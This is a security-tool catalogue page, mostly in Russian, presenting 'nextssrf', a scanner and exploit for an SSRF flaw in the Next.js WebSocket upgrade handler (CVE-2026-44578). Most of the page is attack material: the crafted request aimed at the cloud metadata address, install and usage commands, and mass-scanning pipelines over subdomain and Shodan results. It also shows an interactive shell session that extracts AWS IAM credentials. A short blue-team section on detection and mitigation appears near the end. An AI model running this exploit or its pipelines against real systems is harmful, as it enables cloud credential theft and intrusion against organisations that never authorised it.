Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ynsmroztas/nextssrf
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииБезопасность облачных сред
GitHubynsmroztas/nextssrf

nextssrf

CVE-2026-44578 — сканер и эксплойт для SSRF в обработчике обновления WebSocket в Next.js. Обнаруживает уязвимые версии, извлекает метаданные облака и эксфильтрирует учетные данные IAM через интерактивную оболочку.

Репозиторий
76203 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
nextssrf — CVE-2026-44578 — сканер и эксплойт для SSRF в обработчике обновления WebSocket в Next.js. Обнаруживает уязвимые версии, извлекает метаданные облака и эксфильтрирует учетные данные IAM через интерактивную оболочку. | Kitploit
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler

Обзор · Установка · Использование · Конвейер · Shodan · Интерактивная оболочка · Отказ от ответственности


Обзор

11 мая 2026 года Vercel исправил CVE-2026-44578 (CVSS 8.6): неаутентифицированная SSRF в обработчике обновления WebSocket в Next.js, затрагивающая все самостоятельно размещённые развёртывания, начиная с версии 13.4.13.

Механизм

root@kitploit:~
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

// в http:// вызывает досрочный выход из normalizeRepeatedSlashes, устанавливая statusCode: 308 и finished: true. Уязвимый обработчик обновления игнорирует оба флага и вызывает proxyRequest, когда parsedUrl.protocol истинен — проксируя запрос к управляемому злоумышленником хосту на порт 80.

root@kitploit:~
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

Затронутые версии

ПродуктУязвимые версииИсправление
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Vercel-hosted✅ Не затронутоН/Д

Ограничения

  • Только GET (нет POST/PUT)
  • Только порт 80 (явные порты удаляются нормализацией URL)
  • AWS IMDSv2 не эксплуатируется (требуется токен PUT)
  • Метаданные GCP отклоняют Upgrade: websocket с кодом 400
  • Обратные прокси (nginx/caddy/HAProxy) блокируют URI в абсолютной форме

Демонстрация

NextSSRF — Утекшие учётные данные AWS

Учётные данные AWS IMDSv1, утекшие через CVE-2026-44578 — интерактивная оболочка эксплойта


Установка

root@kitploit:~
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

Нулевые зависимости — только стандартная библиотека Python. Требуется Python 3.10+.


Использование

Сканирование одной цели

root@kitploit:~
python3 nextssrf.py -t https://target.com

Нацеливание на конкретное облако

root@kitploit:~
# Только метаданные AWS
python3 nextssrf.py -t https://target.com --cloud aws

# Пользовательская внутренняя цель
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Глубокое сканирование (+ внутренние сервисы)
python3 nextssrf.py -t https://target.com --cloud aws --deep

Массовое сканирование (конвейер)

root@kitploit:~
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# Ввод из файла
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Принудительное сканирование (даже если версия неизвестна)
python3 nextssrf.py -t https://target.com --force

Коды завершения

КодЗначение
0Не уязвим / чист
1Уязвим (без эксплойта)
2SSRF подтверждена

Интерактивная оболочка

Продвинутая оболочка эксплойта с автоматическим обнаружением облака и извлечением учётных данных IAM:

root@kitploit:~
python3 nextssrf.py -t https://target.com
root@kitploit:~
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

Команды оболочки

Автоматический режим

root@kitploit:~
# Обнаружение облака + автоматический запуск полной цепочки эксплойта
python3 nextssrf.py -t https://target.com --auto

Примеры конвейера

root@kitploit:~
# Полный пайплайн разведки → эксплойта
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Массовое сканирование Shodan → интерактивный режим на подтверждённых хостах
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Проверка конкретного диапазона версий
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

Обнаружение (Синяя команда)

Признаки эксплуатации в логах:

root@kitploit:~
# Журналы процесса Next.js
Failed to proxy http:/   ← одиночный слеш = отпечаток нормализации

# Журналы доступа (URI в абсолютной форме + заголовок Upgrade)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

Смягчение (если невозможно исправить)

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Ссылки

  • GHSA-c4j6-fc7j-m34r
  • NVD CVE-2026-44578
  • Next.js Security Release May 2026
  • Hadrian Technical Analysis

Отказ от ответственности

Только для авторизованного тестирования безопасности и исследований в рамках программ поощрения за обнаружение ошибок. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправильное или несанкционированное использование. Всегда соблюдайте правила вашей программы bug bounty.


Сделано с ❤️ от @mitsec · ynsmroztas.github.io

Лучший хакер @ Intigriti · 100+ HOF · 2430+ уязвимостей · 1100+ критических P1

Скачать инструмент
КомандаОписание
cloudАвтоматическое определение облака (AWS/Azure/GCP/DO/OCI)
awsПолная цепочка учётных данных AWS IAM
azureТокен управляемого удостоверения Azure
scanОбнаружение облака + автоматический эксплойт
url <http://>Пользовательский SSRF-запрос
get <N>Цель AWS IMDS по индексу
listПоказать все конечные точки IMDS
historyИстория запросов
saveЭкспорт сессии в JSON
quitВыход